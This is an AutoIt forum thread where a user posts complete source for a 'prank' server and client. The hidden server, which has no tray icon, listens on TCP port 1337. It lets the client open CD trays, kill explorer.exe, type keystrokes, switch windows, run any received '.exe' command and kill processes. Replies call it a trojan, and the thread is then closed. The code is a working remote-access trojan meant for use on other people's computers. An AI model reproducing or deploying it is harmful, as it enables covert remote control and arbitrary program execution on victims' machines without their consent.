Sign in to follow this  
Followers 0
7h331337

pranc server and cliant

5 posts in this topic

#1 ·  Posted (edited)

i made this program to mess about with my friends in college all it dos is open and close cd tray hide and show desktop send text change the active window and lets you execute ur own commands

the server has got a safety feature that it will cut of the connections after a min but all you have to do is push esc to reconnect or just change the time frame

server:

CODE

#NoTrayIcon

#include <guiconstants.au3>

Global $time = 1

$ip = "192.168.1.101"

GUISetState()

TCPStartup()

$port = 1337

$main = TCPListen($ip, $port)

Do

$ConnectedSocket = TCPAccept($main)

Until $ConnectedSocket <> -1

While 1

$recv = TCPRecv($ConnectedSocket, 2048)

If $recv = "1" Then

CDTray("D:", "open")

CDTray("E:", "open")

EndIf

If $recv = "2" Then

CDTray("D:\", "closed")

CDTray("E:\", "closed")

EndIf

If $recv = "3" Then

ProcessClose("explorer.exe")

EndIf

If $recv = "4" Then

Run("explorer.exe")

EndIf

If $recv = "8" Then

Send("{lalt}" + "{tab}")

EndIf

If StringRegExp($recv, ",,,") = True Then

$string = StringSplit($recv, ",")

Send($string[4])

EndIf

If StringRegExp($recv, ".exe") = True Then

Run($recv)

EndIf

If StringRegExp($recv, "kill,") = True Then

$string2 = StringSplit($recv, ",")

ProcessClose($string2[2])

EndIf

If $time >= 600000 Then

Do

$ConnectedSocket = TCPAccept($main)

Until $ConnectedSocket <> -1

$time = 0

EndIf

$time = $time + 10

WEnd

client:

CODE

#include <WINDOWSconstants.au3>

#include <guiconstants.au3>

HotKeySet("{esc}","recon")

$ip = InputBox("please type ip of server","type the ip of the computer that the server is on")

$port = 1337

$data = "1"

$MAIN = GUICreate("!!!RULER!!! V0.01 BY 7H331337",400,90,@DESKTOPWIDTH / 2 - 200,@DESKTOPHEIGHT / 2 - 100)

GUISetBkColor(0X0000FF,$MAIN)

$b1 = GUICtrlCreateButton("CD OPEN",10,10,80,30)

$b2 = GUICtrlCreateButton("CD CLOSE",10,50,80,30)

$b3 = GUICtrlCreateButton("KILL DESKTOP",110,10,80,30)

$b4 = GUICtrlCreateButton("RUN DESKTOP",110,50,80,30)

$b5 = GUICtrlCreateButton("START CUSTOM",210,10,80,30)

$b6 = GUICtrlCreateButton("KILL CUSTOM",210,50,80,30)

$b7 = GUICtrlCreateButton("SEND TEXT",310,10,80,30)

$b8 = GUICtrlCreateButton("CHANGE WIN",310,50,80,30)

GUISetState()

TCPStartup()

$con = TCPConnect($ip, $port)

while 1

$MSG = GUIGetMsg()

if $msg = $GUI_EVENT_CLOSE Then

Exit

endif

IF $MSG = $b1 Then

TCPSEND($con,"1")

ENDIF

IF $MSG = $b2 Then

TCPSEND($con,"2")

ENDIF

IF $MSG = $b3 Then

TCPSEND($con,"3")

ENDIF

IF $MSG = $b4 Then

TCPSEND($con,"4")

ENDIF

IF $MSG = $b5 Then

$input = InputBox("run custom program","type name of program: e.g. cmd.exe")

TCPSEND($con,$input)

ENDIF

IF $MSG = $b6 Then

$input = InputBox("kill custom program","type name of program: e.g. cmd.exe")

TCPSEND($con,"kill,"& $input)

ENDIF

IF $MSG = $b7 Then

$input = InputBox("type the text you want to send","type the text you want to send dont use ,")

TCPSEND($con,",,," & $input)

ENDIF

IF $MSG = $b8 Then

TCPSEND($con,"8")

ENDIF

wend

func recon()

TCPCloseSocket($con)

$con = TCPConnect($ip, $port)

EndFunc

Edited by 7h331337

Share this post


Link to post
Share on other sites



Evil... a trojan. I remember back in the scriptkitty days where i placed this kinda of client software im my friends computer and suddently started typing stuff in a notepad on their comp.


[center][u]WoW Machinima Tool[/u] (Tool for Machinima Artists) [/center]

Share this post


Link to post
Share on other sites

This sort of crap should be discouraged as it can give AutoIt a bad name.



Get Beta versions Here Get latest SciTE editor Here AutoIt 1-2-3 by Valuater - A great starting point.

Time you enjoyed wasting is not wasted time ......T.S. Elliot
Suspense is worse than disappointment................Robert Burns
God help the man who won't help himself, because no-one else will...........My Grandmother

Share this post


Link to post
Share on other sites

This sort of crap should be discouraged as it can give AutoIt a bad name.

Blah...blah,you sound like all trojans are made in AutoIt.

Valik, The Legendary programmer!Will be using that signature for 2 months due to my loss on a bet ):

Share this post


Link to post
Share on other sites

#5 ·  Posted (edited)

Blah...blah,you sound like all trojans are made in AutoIt.

You better not get too smart here. Edited by Jos

Visit the SciTE4AutoIt3 Download page for the latest versions        Beta files                                                          Forum Rules
 
Live for the present,
Dream of the future,
Learn from the past.
  :)

Share this post


Link to post
Share on other sites
Guest
This topic is now closed to further replies.
Sign in to follow this  
Followers 0